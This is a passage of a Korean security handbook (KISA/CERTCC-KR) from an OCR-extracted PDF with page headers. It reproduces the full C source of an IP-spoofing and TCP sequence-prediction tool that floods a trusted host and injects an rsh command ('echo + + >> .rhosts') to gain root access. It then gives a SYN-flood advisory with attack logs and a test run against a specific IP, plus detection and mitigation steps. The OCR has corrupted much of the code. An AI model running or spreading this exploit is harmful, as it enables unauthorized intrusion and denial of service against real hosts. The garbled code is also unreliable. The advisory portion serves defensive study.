* Moral to this story; Get rid of all your .rhosts files and hosts.equiv

* files. Yeah, They're convenient. Sometimes they even seem like a good

* security feature. Such as if system A is on a subnet with lab PCs and

* you know how easy it is for anybody to sniff root logins or telnets

* followed by su's. Host B is on your desktop. How do you get a root

* shell on A w/o being sniffed? An rhosts file of course. Well, There's

* clearly a problem with that, and this program exists solely to demonstrate

* it. Of course it can be easily modified for all your sequence predicting

* and packet spoofing needs.

*

* Much of the code here was written by Mike Neuman. He distributed it on

* bugtraq in an incomplete form. It lacked the library routines needed

* to actually do any of the packet capture or spoofing. My solution was

* simple. Use the excellent pcap library for packet capture and my own

* routines that I did a while back for packet spoofing. The pcap stuff

* is well written. My packet spoofing code is a mess. Oh well. l also

* made some changes to Neuman's code.

*

* I usually don't bother with the lecture on proper use, but this con

* be used for a lot of evill since so many systems are subject to this

* hole. So here's your lecture:

*

* This code is for demonstration purposes only. I do not advocate the

* use of this code without the expressed written consent of the owners

* and operators of all systems in any way involved in the use of this

Page 470: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* program.

* Breaking into other people's systems is just plain wrong. It's a

* really bad thing to do. Don't do it. Do you hear me? You immoral

* cracking bastards? Don't even think about it.

*

* Neuman's disclaimer follows.

*/

/* This source is subject to the GNU PUBLC LICENSE. It can be used freely

* for any non-commercial purpose, and this message and the contact

* information must remain intact. For commercial purposes, you MUST contact

* us to obtain a license for it's use. A copy of the GNU PUBLIC LLCENSE is

* available from: ftp://aeneas.mit.edu/pub/gnu/

*

* This program is distributed in the hope that it will be useful,

* but WITHOUT ANY WARRANTY; without even the implied warranty of

* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

* GNU General public License for more details

*

* Mike Neuman

* En Garde Systems

* 525 Clara Avenue, Suite 202

* St. Louis, MO 63112

* [email protected]

*/

#include <stdio.h>

#include <stdlib.h>

#include <setjmp.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in_systm.h>

#include <netinet/in.h>

#include <net/if.h>

#include <netinet/if_ether.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <netinet/udp.h>

#include <errno.h>

#include <netdb.h>

Page 471: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* additions for prototypes and such */

#include <arpa/inet.h>

#include <malloc.h>

/* Include generic pcap interface headers. */

#include <pcap.h>

#include <pcap-int.h>

#include "packet_spoof.h"

/* The host to spoof flooding the trusted

* host's destination port from. This host shouldn't exist, but should

have

* correct routing entries. The important part is so that returned

packets

* go to nowhere. You may want/need to change this. Most of the

* 198.137.241.x subnet will work, but you may not feel comfortable

using

* it.

*/

#ifnded BADHOST

#define BADHOST "128.0.0.1"

#endif

/* The number of connections to spoof from BADHOST. I made this big.

* I've found 4.4BSD will be flooded with only 8 unacked connections.

Your

* mileage may vary

*/

#define NUMSEQUENCE 80

/* How many samples of the sequence nubers do you want to take?

* I randomly picked 10 and only take the last result . If I wanted to be

* elegant, I'd do some sort of statistical average. Sequence numbers

* are generally updated by a fixed number, this attempts to compute

* this number taking into accout average network lag. Fixed sequence

* number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD,

and

* probably others, although I haven't tested them.

*/

Page 472: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define NUMTESTS 10

/* The ethernet address of your router. Get it from arp. */

#ifndef ROUTER_ETHER

#define ROUTER_ETHER "00:00:0C:01:A2:39"

#endif

struct ether_addr *dest_ether. *source_ether;

/* Global pcap descriptor & stuff */

pcap_t *pd;

char *device=NULL;

char errbuf[PCAP_ERRBUF_SIZE];

struct bpf_program fcode;

struct pcap_pkthdr pc_header;

u_long localnet, netmask;

/* My pcap based substitute for the readpacket() routine

* Not nearly as flexible, but suitable for this application. */

/* readpacket(

* struct fddi_header fddi_header,

* struct ether_header ether_header,

* struct ip ip_header,

* struct udphdr udp_header,

* struct tcphdr tcp_header,

* char * data,

* int datalen)

*

* return type is the type of packet read

*/

int readpacket(void *fddi_header, void *ether_header,

struct ip *ip_header, struct udphdr *udp_header,

struct tcphdr *tcp_header, char *data, int datalen)

{

u_char *p_data;

/*For some very strange reason it is sometimes necessary to

have

* some call here before we go to pcap_next. I'm at a total

loss.

* Without this call pcap_next does its tricks and eventually

* recvfrom() is called and fails with error EINVAL (Invalid

Page 473: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

argument).

*/

printf(".");

if((p_data=pcap_next(pd, &pc_header))==NULL)

{

pcap_perror(pd,"pcap err in readpacket");

exit(1);

}

/* printf("retruned packet with length=%i₩n",pc_header.len); */

/* This needs to be slightly modified for slip or ppp. See the '14's

* below? Thats the size fo the ethernet header. On Linux slip there

* is no link level header at all, so the packet will just start with

the

* IP. In other words, change the 14 to a 0. I don't think this is

true

* of slip in general, but I don't know for sure. ppp has a header

length

* of 4 I believe. */

if (ip_header)

memcpy(ip_header,p_data+14, sizeof(struct ip));

if (tcp_header)

memcpy(tcp_header,p_data+14+sizeof(struct ip),sizeof(struct

tcphdr));

if (udp_header)

memcpy(udp_header,p_data+14+sizeof(struct ip),sizeof(struct

udphdr));

return(pc_header.len);

}

/* usage */

void usage()

{

(void)fprint(stderr,

"usage: rbone [options] trusted_host host_to_attack₩n");

fprintf(stderr," -e string specify e-net gateway as

xx:xx:xx:xx:xx:xx₩n");

fprintf(stderr," -c string command to execute on atacked

host₩n");

Page 474: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fprintf(stderr," -l string local user on trusted host [default

is root]₩n");

fprintf(stderr," -r string remote user on attacked host

[default is root]₩n");

fprintf(stderr," -b host non-existent, but reachable,

machine₩n");

fprintf(stderr," -d device device on which to listen₩n");

exit(1);

}

int hose_trusted(u_long trust_addr, u_long bad_addr, u_long *seq_num,

u_long *port_num)

/* u_long seq_num[NUMSEQUENCE];

u_long port_num[NUMSEQUENCE]; */

{

int I;

u_long start_saq=49358353+getpid(); /* Make this anything you

want */

u-long start_port=600; /* Make this anything you want */

struck ether_header eh;

/* setup ethernet header */

memcpy(&(eh.ether_dhost),dest-ether, sizeof(struct ether_addr));

memcpy(&(eh.ether_shost),source-ether, sizeof(struct

ether_addr));

eh.ether_type=ETHERTYPE_IP;

/* Send a whole bunch of spoofed SYNs. Arguments to

sendtcppacket_simple

* are:

* sendtcppacket_simple(

* char *ether_addr source_hardware_address,

* char *ether_addr destination_hardware_address,

* u_long source_ip_address,

* u_long destination_ip_address,

* u_short source_port,

* u_short destination_port,

* u_long sequence_neumber,

Page 475: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* u_long acknowldegement_number,

* int TCP flags (SYN, RST, ACK, PUSH, FIN),

* char * data,

* int datalen)

*/

for (i=0;i<NUMSEQUENCE;i++) {

port_num[i]=start_port++; /* record the ports and

sequence numbers */

seq_num[i]=start_seq++; /* for later reseting */

sedtcppacket_simple(&(eh.ether_shost),

&(eh.ether_dhost),

bad_addr, trust_addr,

port_num[i], 513, /* 513 is rlogin/rsh port */

seq_num[i], (u_long)0,

TH_SYN, NULL, 0);

}

return(0);

}

jmp_buf env;

void timedout()

{

longjmp(env, 1);

}

int determine_sequence(u_long targ_addr, u_long *next_seq, u_long

*offset)

{

struct hostent *he;

struct ether_header eh, eh2;

struct ip iph;

struct tcphdr tcph;

int I, index=0;

u_long start_seq=4138353+getpid(); /* Make this anything you

want */

u_long start_port=666; / Make this anything you want

*/

u_long my_addr;

char buf[80];

Page 476: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

u_long prev_seq=0, diff=0;

char OScount[100]; /* These store the offset value

*/

u_long OSvalue[100]; /* and repetition counts */

for(i=0;i<100;i++)

{ OScount[i]=0;

OSvalue[i]=0 }

*offset=0;

/* setup ethernet header */

memcpy(&(eh.ether_dhost),dest_ether,sizeof(struct ether_addr));

memcpy(&(eh.ether_shost),source_ether,sizeof(struct

ether_addr));

eh.ether_type=ETHERTYPE_IP;

gethostname(buf, 79);

if ((he=gethostbyname(buf))==NULL) {

fprintf(stderr, "Cant't get my hostname!?₩n");

return(1);

}

bcopy(he->h_addr, &my_addr, 4);

for (i=0;i<NUMTESTS;I++) {

/* Do a setjmp here for timeouts */

if (setjmp(env))

fprintf(stderr, "Response Timed out...

Resending...₩n");

signal(SIGALRM, timedout);

alarm(0);

alarm(10); /* Wait 10 seconds for reply */

sendtcppacket_simple(&(eh.ether_shost).

&(eh.ether_dhost),

my_addr, targ_addr,

start_port, 514, /*514 is rsh port */

start_seq, 0,

TH_SYN, NULL, 0);

/* Send connection request packet */

Page 477: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

for (;;) {

/* Waituntil the reply is received. Argunemts

for readpacket

* are:

* readpacket(

* struct fddi_header fddi_header,

* struct ether_header ether_header,

* struct ip ip_header,

* struct udphdr udp_header,

* struct tcphdr tcp_header,

* char * data,

* int datalen)

*

* return type is the type of packet read

*/

readpacket (NULL, &eh2, &iph, NULL, &tcph, NULL,

0);

if (ntohs(tcph.th_dport)==start_port &&

ntohs(tcph.th_sport)==514) {

/* If the ports match, it's probably a

reply--this isn't

* definite, but it's a pretty good

guess. */

/* This determines sequence offsets for

NUMTEST differrent

* connections, then chooses the most

common value to apply

* to our spoof. */

if (prev_seq) {

diff=ntohl(tcph.th_seq)-prev_seq;

printf("(prv=%lu,

new=%lu, diff=%lu₩n", prev_seq,

ntohl(tcph.th_seq), diff);

} else

diff=0;

if (*offset==0) {

*offset=diff;

OSvalue[index]=diff;

OScount[index]++; }

Page 478: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

else {

if (*offset!=diff)

{

printf("Difference in Offset: old=%lu, new=%ly₩n",

*offset,

diff);

index=0;

while((OSvalue[index] && (OSvalye[index]!=diff))

index++;

OScount[index]++;

OSvalue[index]=diff;

}

else

OScount[index]++;

}

prev_seq=ntohl(tcph.th_seq);

sendtcppacket_simple(

&(eh.ether_shost), &(eh.ether_dhost),

my_addr,

targ_addr,

start_port++,

514,

start_seq++, 0,

514,

start_seq++, 0,

TH_RST, NULL,

0);

/* Send a reset to close the

connection. Note, this

* automatically will be sent by

localhost unless

* a service is listening on

whatever port you've

* chosen to start with at the

Page 479: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

top of this routine.

* so I reset it anyway

*/

break; /* out of infinite for */

}

} /* of infinite for */

alarm(0);

} /* for i=0 i<NUMTESTS... */

i=0;

for(index=0;index<100;index++)

if(OScount[index]>OScount[i] i=index;

*offset=OSvalue[i];

*next_seq=prev_seq+*offset;

printf("Using offset=%lu, next_seq=%lu. Occurred %i of %i

trials.%n",

*offset, *next_seq, OSvalue[i], NUMTEST);

return(0);

}

int spoof_connection(u_long trust_addr, u_long targ_addr, u_long

next_seq,

char * string, int stringlen)

{

struct ether_header eh;

u_short port=513;

u_long seq=385773357;

int i;

/* setup ethernet header */

memcpy(&(eh.ether_dhost),dest_ether,sizeof(struct ether_addr));

memcpy(&(eh.ether_shost),source_ether,sizeof(struct

ether_addr));

eh.ether_type=ETHRTYPE_IP;

/* Send a syn with our own sequence number */

sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),

trust_addr, targ_addr,

port, 514,

Page 480: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

seq++, 0,

TH_SYN, NULL, 0);

usleep(5000); /* wait for the other side to SYN,ACK */

/* Send the ACK for the sequence number we guessed. I've found

we guess

* right about 90% of the time

*/

printf("Sending spoof with next_seq=%li₩n",next_seq);

sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),

trust_addr, targ_addr,

port, 514,

seq, ++next_seq,

TH_ACK, NULL, 0);

/* Now, send our rsh request with the proper sequence and ACK

numbers */

sendtcppacket_simple(&eh.ether_shost), &(eh.ether_dhost),

trust_addr, targ_addr,

port, 514,

seq, ++next_seq,

TH_ACK, string, stringlen);

seq+=stringlen;

sleep(1); /* Wait for it to be received, ACKd, and processed */

/* Send a fin with the our new sequence number and their

sequence number */

Sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),

trust_addr, targ_addr,

port, 514,

seq, next_seq,

TH_FIN,NULL, 0);

for (i=1;i<4,i++) { /* Send a bunch of ACKs */

/* If we screwed up the guessing the corrcet sequence

number the remote

* host is using, guess a whole bunch more just to be

sure. We could

* probably reset the connection, but it's better to

have the

Page 481: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* net software hang waiting for a proper FIN/ACK than

have the

* application that we've spoofed into running exit

because we

* reset the connection.

*/

sleep(2);

sendtcppacket_simple(&(eh.ether_shost),

&(eh.ether_dhost),

trust_addr, targ_addr,

port, 514,

seq+1, next_seq+1,

TH_ACK, NULL,0);

}

usleep(50000); /* Finally, send a RST */

/* Now, if we're really screwed, and ~8 seconds later we

haven't guessed

* the right sequence number, just reset the connection.

Hopefully by now

* the application has done it's job, so resetting shouldn't

cause any

* problems.

*/

sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost).

trust_addr, targ_addr,

port, 514,

seq+1, next_seq+4,

TH_RST, NULL, 0);

return(0);

}

int reset_trusted(u_long trust_addr, u_long *seq_num, u_long *port_num)

/* u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE]; */

{

struct ether_header eh;

u_long bad_addr;

int i;

Page 482: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {

fprint(stderr, "Can't convert BADHOST address.₩n");

return(1);

}

/* setup ethernet header */

memcpy(&(eh.ether_dhost),dest_ether, sizeof(struct ether_addr));

memcpy(&(eh.ether_shost),source_ether, sizeof(struct

ether_addr));

eh.ether_type=ETHERTYPE_IP;

/* Reset all of the conncetions we started before */

for (i=0;i<NUMSEQUENCE;i++) {

sendtcppacket_simple(&(eh.ether_shost),

&(eh.ether_dhost),

bad_addr, trust_addr,

port_num[i], 513,

seq_num[i], 0,

TH_RST, NULL, 0);

}

return(0);

}

/* Generic error handling and exiting routine. */

voide error(char *err)

{

printf("error: %s₩n",err);

exit(255);

}

int main(int argc, char **argv)

{

struct hostent *he;

u_long trust_addr, targ_addr;

u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];

u_long next_seq, offset;

/* just other crap */

char *ether_name=NULL;

char *local_user=NULL; *remote_user=NULL, *command=NULL, *send_string;

char *bogus_host=NUll;

u_long bogus_addr;

Page 483: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int command_length, string_index;

char ch;

extern int optind;

extern char *optarg;

extern int *opterr;

opterr=0;

while ((ch = getopt(argc, argv, "e:l:r:b:c:d:")) !=EOF)

switch(ch) {

case 'e'

ether_name=optarg;

break;

case 'l'

local_user=optarg;

break;

case 'b'

bogus_host=optarg;

break;

case 'r'

remote_user=optarg;

break;

case 'c'

command=optarg;

break;

case 'd'

device=optarg;

break;

case 'h':

case 'H':

default:

usage();

exit(1);

}

argc -= optind;

agrv += optind;

if (argc<2) {

usage();

Page 484: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

}

if ((he=gethostbyname(argv[0]))==NULL) {

trust_addr=inet_addr(argv[0];

if (trust_addr==(u-long)-1) {

fprintf(stderr, "Unknown host %s₩n", argv[0];

exit(1);

}

} else

bcopy(he->h_addr, &trust_addr, 4);

if (he=gethostbyname(argv[1]))==NULL) {

targ_addr=inet_addr(argv[1]);

if (targ_addr==(u_long)-1) {

fprintf(stderr, "Unknown host %s₩n", argv[1]);

exit(1);

}

} else

bcopy(he_>h_addr, &targ_addr, 4);

if ((he=gethostbyname(bogus_host ? bofus_host : BADHOST

))==NULL) {

bogus_addr==inet-addr(bogus_host ? bofus_host : BADHOST

);

if (bogus_addr==(u_long)-1) {

fprintf(stderr, "Unknown host %s₩n",

bogus_host ? bogus_host : BADHOST );

exit(1);

}

} else

bcopy(he->h_addr, &bogus_addr, 4);

/* translate our ethernet address into usable form */

dest_ether=ether_a2e(ether_name ? ether_name : ROUTER_ETHER);

source_ether=dest_ether;

/* set up the pcap interface */

printf("Setting up pcap interface and filter ");

if (device==NULL) {

device=pcap_lookupdev(errbuf);

if (device==NULL)

Page 485: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

error("couldn't lookup pcap device");

}

printf("on device %s₩n", device);

pd=pcap_open_live(device,512,1,1000,errbuf);

if (pd==NULL)

error(errbuf);

if (pcap_lookupnet(device,&localnet, &netmask, errbuf) <0)

error(errbuf);

/* Compile and install some packet matching code. */

if (pcap_compile(pd, &fcode, "tcp", 1, netmask) <0)

error("Compiling filter code");

if (pcap_seffilter(pd,&fcode)<0)

error("Setting pcapfilter");

/* allocate and build the command string */

send_string=(char *)malloc(256);

send_string[0]='0';

send_string[1]='₩0';

string_index=2;

command_length=(local_user ? strlen(local_user) :

strlen("root"));

strcpy(send_string+string_index, local_user ? local_user :

"root");

string_index=string_index+command_length+1;

command_length=remote_user ? strlen(remote_user) :

strlen("root");

strcpy(send_string+string_index, remote_user ? remote user :

"root");

string_index=string_index+command_length+1;

command_length=command ? strlen(command) : strlen("echo + +>>

.rhosts");

strcpy(send_string+string_index,command ? command : "echo + + >>

.rhost");

string_index=string_index+command_length+1;

/*

for(command_length=0;command_length<string_index:command_length++)

printf("%c",send_string[command_length]);

printf("₩n"); */

Page 486: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* First, send NUMSEQUENCE connection requests from bogus_addr

to the

* trusted host on a trusted port (currently 513). Trusted host

will

* attempt to SYN-ACK these. If BADHOST doesn't exitst, there

will never

* be a response ACK. Consequently, trusted host's connection

queue will

* fill and it will no longer respond to any packets to port

513.

*/

printf("[Hosing Trusted Host...]₩n");

if (hose_trusted(trust_addr, bogus_addr, seq_num, port_num)) {

fprintf(stderr, "Coundn't hose %s₩n", argv[1]);

exit(1);

}

/* Next, do a sampling of the difference in sequence numbers.

These packets

* are NOT spoofed as receiving the reply is required.

Consequently, this

* host can appear in any packet traces.

*/

printf("[Determining sequence numbers...]₩n");

if (determine_sequence(targ_addr, &next_seq, &offset)) {

fprintf(stderr, "Couldn't determine sequence numbers for

%s₩n", argv[2]);

exit(1);

}

printf("=>Next sequence number is: %lu, offset is: %lu₩n",

next_seq, offset);

/* Next, do the actual spoofed connection, now that we know what

the next

* sequence number will be.

*/

Page 487: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf("[Spoofing Connection...]₩n");

if (spoof_connection(trust_addr, targ_addr, next_seq,

send_string, string_index)) {

fprintf(stderr, "Couldn't spoof connection to %s₩n",

argv[1]);

exit(1);

}

/* Finally, reset all of the half started connections on

trusted-host.

* This will put trusted-host back into it's normal state (and

hide

* the traces taht it wa used for evil.

*/

printf("[Cleaning Up trusted Mess...]₩n");

if (reset_trusted(trust_addr, seq_num, port_num)) {

fprintf(stderr, "Coulnd't reset %s. Sucks to be it. ₩n"

argv[1]);

exit(1);

}

/* fin */

exit(0);

}

Page 488: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TCP_SYN_flooding-*-서비스거부

TCP_SYN_flooding-*-DoS

Page 489: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TCP_SYN_flooding-*-DoS

TCP_SYN_flooding-*-서비스거부

문서번호

KH98-045

문서제목

TCP_SYN_flooding-*-서비스거부 (TCP_SYN_flooding-*-DoS)

관련 응용프로그램

syn_flood.c

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

-TCP/IP는 3단계 대화(3-handshake) 절차를 통해 연결을 설정한다. 운영체제별로 동시에

다수의 TCP/IP 연결을 설정할 수 있도록 하기위해 각 연결요청별로 일정시간 연결 진행상

황을 유지시키기 위한 대기열을 가지고 있다. 이 대기열은 시스템의 제한된 자원을 사용하

므로 무한히 클 수는 없다. 따라서 이를 의도적으로 고갈시키면 더 이상의 TCP/IP 연결

설정을 할 수 없게 만들 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 다음과 같은 절차에 따라 공격이 이루어진다.

1. 공격자 시스템인 B호스트에서 A호스트로 자신의 IP주소를 위장하여 SYN를 보내 접속을

요청한다.

2. A호스트는 접속 요청에 대한 응답으로 B호스트에 ACK와 함께 자신의 SYN을 전송한다.

3. B호스트가 이에 대해 ACK를 보내지 않으면 A는 자신이 보낸 ACK에 대한 B호스트의

응답을 일정시간 동안 기다리게 된다.

4. 위의 과정을 연속적으로 반복하면 (예를 들어 SunOS의 경우, 약 8개 정도의 SYN패킷을

80초 정도 간격으로 전송) A호스트는 할당된 대기열 자원을 모두 소모하여 외부의 접속요

청에 더 이상 응답할 수 없는 상태가 된다.

Page 490: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

- 첨부

해킹시험 결과

tcpdump: listening on le0

16:48:24.545317 arp who-has target tell kitty

16:48:24.545452 arp reply target is-at 8:0:20:7e:2e:f4

16:48:24.545704 1.1.1.1.53255> target.telnet: S 236234:236234(0) win

Page 491: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

512

16:48:24.546117 arp who-has gateway tell target

16:48:24.546765 1.1.1.1.53511 > target.telnet: S 236235:236235(0) win

512

16:48:24.547094 arp reply gateway is-at 0:0:c:3e:5b:57

16:48:24.547244 target.telnet > 1.1.1.1.53511: S

1886976001:1886976001(0) ack 236236 win 4096

16:48:24.547478 1.1.1.1.53767 > target.telnet: S 236236:236236(0) win

512

16:48:24.547762 target.telnet > 1.1.1.1.53767: S

1887040001:1887040001(0) ack 236237 win 4096

16:48:24.548224 1.1.1.1.54023 > target.telnet: S 236237:236237(0) win

512

16:48:24.548511 target.telnet > 1.1.1.1.54023: S

1887104001:1887104001(0) ack 236238 win 4096

16:48:24.548932 1.1.1.1.54279 > target.telnet: S 236238:236238(0) win

512

16:48:24.549226 target.telnet > 1.1.1.1.54279: S

1887168001:1887168001(0) ack 236239win 4096

16:48:24.549635 1.1.1.1.54535 > target.telnet: S 236239:236239(0) win

512

16:48:24.549921 target.telnet > 1.1.1.1.54535: S

1887232001:1887232001(0) ack 236240 win 4096

16:48:24.550338 1.1.1.1.54791 > target.telnet: S 236240:236240(0) win

512

16:48:24.550632 target.telnet > 1.1.1.1.54791: S

1887296001:1887296001(0) ack 236241 win 4096

16:48:24.551045 1.1.1.1.55047 > target.telnet: S 236241:236241(0) win

512

16:48:24.551330 target.telnet > 1.1.1.1.55047: S

1887360001:1887360001(0) ack 236242 win 4096

16:48:24.551748 1.1.1.1.55303 > target.telnet: S 236242:236242(0) win

512

16:48:24.542452 1.1.1.1.55559 > target.telnet: S 236243:236243(0) win

512

16:48:24.553158 1.1.1.1.55815 > target.telnet: S 236244:236244(0) win

512

16:48:24.553866 1.1.1.1.56071 > target.telnet: S 236245:236245(0) win

512

Page 492: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

16:48:24.554571 1.1.1.1.56327 > target.telnet: S 236246:236246(0) win

512

16:48:24.555280 1.1.1.1.56583 > target.telnet: S 236247:236247(0) win

512

16:48:24.555990 1.1.1.1.56839 > target.telnet: S 236248:236248(0) win

512

16:48:24.556695 1.1.1.1.57095 > target.telnet: S 236249:236249(0) win

512

16:48:24.557403 1.1.1.1.57351 > target.telnet: S 236250:236250(0) win

512

16:48:24.558114 1.1.1.1.57607 > target.telnet: S 236251:236251(0) win

512

16:48:24.558859 1.1.1.1.57863 > target.telnet: S 236252:236252(0) win

512

16:48:24.559572 1.1.1.1.58119 > target.telnet: S 236253:236253(0) win

512

./sf 1.1.1.1 2000 203.227.32.15 23

SYN flooding from 1.1.1.1 to 203.227.32.15.23

packet from 1.1.1.1.2000 to 203.227.32.15.23

packet from 1.1.1.1.2001 to 203.227.32.15.23

packet from 1.1.1.1.2002 to 203.227.32.15.23

packet from 1.1.1.1.2003 to 203.227.32.15.23

packet from 1.1.1.1.2004 to 203.227.32.15.23

packet from 1.1.1.1.2005 to 203.227.32.15.23

packet from 1.1.1.1.2006 to 203.227.32.15.23

packet from 1.1.1.1.2007 to 203.227.32.15.23

packet from 1.1.1.1.2008 to 203.227.32.15.23

packet from 1.1.1.1.2009 to 203.227.32.15.23

packet from 1.1.1.1.2010 to 203.227.32.15.23

packet from 1.1.1.1.2011 to 203.227.32.15.23

packet from 1.1.1.1.2012 to 203.227.32.15.23

packet from 1.1.1.1.2013 to 203.227.32.15.23

packet from 1.1.1.1.2014 to 203.227.32.15.23

packet from 1.1.1.1.2015 to 203.227.32.15.23

packet from 1.1.1.1.2016 to 203.227.32.15.23

packet from 1.1.1.1.2017 to 203.227.32.15.23

packet from 1.1.1.1.2018 to 203.227.32.15.23

packet from 1.1.1.1.2019 to 203.227.32.15.23

Page 493: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

packet from 1.1.1.1.2020 to 203.227.32.15.23

packet from 1.1.1.1.2021 to 203.227.32.15.23

packet from 1.1.1.1.2022 to 203.227.32.15.23

packet from 1.1.1.1.2023 to 203.227.32.15.23

flat# telnet 203.227.32.15

Trying 203.227.32.15...

Connected to 203.227.32.15.

Escape character is '^]'.

SunOS UNIX (kisa)

login: Login timed out after 60 seconds

Connection closed by foreign host.

flat#

해킹흔적 확인방법

- netstat를 이용하여 시스템의 네트워크 상태를 감시한다.

- SunOS의 경우

netstat -a -f inet

- FreeBSD의 경우

netstat -s lgrep "listenqueue overflows"

- 이때 “SYN_RECEIVED” 필드에 과다한 값이 표시되는 경우, 시스템이 공격받고 있을 가

능성이 있다.

대응방법

패치 설치

- 운영체제별로 피해를 줄일 수 있는 패치를 설치한다.

- 운영체제의 자원할당을 변경하여 피해를 감소시킨다.

ㆍ백로그를 늘리고 대기시간을 줄인다.

Page 494: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

임시 조치

- 라우터등에서 패킷 필터링을 이용해 공격의 가능성을 줄인다.

